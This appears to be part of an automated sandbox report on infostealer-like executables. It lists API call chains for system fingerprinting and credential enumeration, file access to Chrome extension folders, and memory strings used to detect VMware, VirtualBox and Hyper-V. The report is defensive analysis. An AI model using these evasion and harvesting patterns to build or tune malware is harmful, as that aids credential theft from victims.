Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0088FF00 CreateDirectoryA,FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	5_2_0088FF00
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00843F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,CredEnumerateA,LocalFree,	5_2_00843F40
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E1F9C FindClose,FindFirstFileExW,GetLastError,	5_2_007E1F9C
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E2022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	5_2_007E2022
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008438D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	5_2_008438D0

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

5_2_0088FF00

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000003.2258917189.0000000001703000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}STlHgJQj0BYf+yUmhjRWAAAAAAOgAAAAAIAACAAAAC4DJ/gXrxEkCShSgPuR88TPLDsToB926kMq4AOElbE2DAAAAD9nb0B9n3vNc4ySWeCJ2UCXsDAxWFDTKWreq9zi6WoUpqBua0y5iWVhcv68NcPWu9AAAAAXDRL3cQJqrqxT5vHZ2MwQhh/+yfS1tuZvzgxlh+Qj4uZwzoIaUZydz9IB/hM9RKm24b+ruVkk/hyYnjyrcL1og=="},"policy":{"last_statistics_update":"13361024565684793"},"profile":{"info_cache":{"Default":{"active_time":1716550968.270679,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_20","background_apps":false,"edge_account_first_name":"","edge_account_last_name":"","edge_account_oid":"","edge_account_sovereignty":0,"edge_account_tenant_id":"","edge_account_type":0,"edge_kids_mode":false,"edge_no_window_mode_incompatible_extension":false,"edge_test_on_premises":false,"edge_wam_aad_for_app_account_type":0,"force_signin_profile_locked":false,"gaia_given_name":"","gaia_id":"","gaia_name":"","hosted_domain":"","is_consented_primary_account":false,"is_ephemeral":false,"is_guest":false,"is_using_default_avatar":true,"is_using_default_name":true,"managed_user_id":"","metrics_bucket_index":1,"name":"Profile 1","shortcut_name":"Profile 1","signin.with_credential_provider":false,"user_name":""}},"last_active_profiles":["Default"],"metrics":{"next_bucket_index":2},"profile_counts_reported":"13361024561525477","profiles_order":["Default"]},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None None"},"profiles":{"collect_potential_implicit_signin_data_started":true,"edge":{"implicit_signin":{"primary_error":14,"secondary_error":4,"telemetry_result":22},"multiple_profiles_with_same_account":false},"edge_sso_info":{"aad_sso_algo_state":1,"first_profile_key":"Default","msa_first_profile_key":"Default","msa_sso_algo_state":1},"signin_last_seen_version":"117.0.2045.47","signin_last_updated_time":1716550965.759155},"sentinel_creation_time":"13340807286316564","s J
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.000000000140A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: vmware
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1952234939.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1947889115.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.1966431638.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: r7sW8wNeP3sav5N1yYLUJzML.exe, 00000013.00000003.1921605097.0000000001B64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2084327302.0000000005F40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}es=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windowsdd
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000002.2280792632.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Uf
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Hyper-V (guest)
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe, 0000000C.00000003.2104569450.0000000005F2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}*n
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.0000000001608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000(I
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.00000000006C8000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.00000000006C8000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.00000000006C8000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo[
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.2003176192.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000003.2008162027.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.00000000013C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW&/
Source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2449565795.000001CED656A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2414314556.0000000000598000.00000040.00000001.01000000.00000010.sdmp, oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000001.1896073263.0000000000598000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Hyper-V
